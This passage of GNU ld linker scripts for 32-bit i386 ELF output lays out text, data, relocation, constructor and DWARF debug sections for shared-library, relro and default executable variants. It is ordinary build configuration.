  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      *(.rel.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld --shared: link shared library */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata	  : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss	  : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.sharable_data	  : { *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*) }
  .rel.sharable_bss	  : { *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      *(.rel.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc -z now -z relro: combine and sort reloc sections */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Default linker script, for normal executables */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata	  : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss	  : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.sharable_data	  : { *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*) }
  .rel.sharable_bss	  : { *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
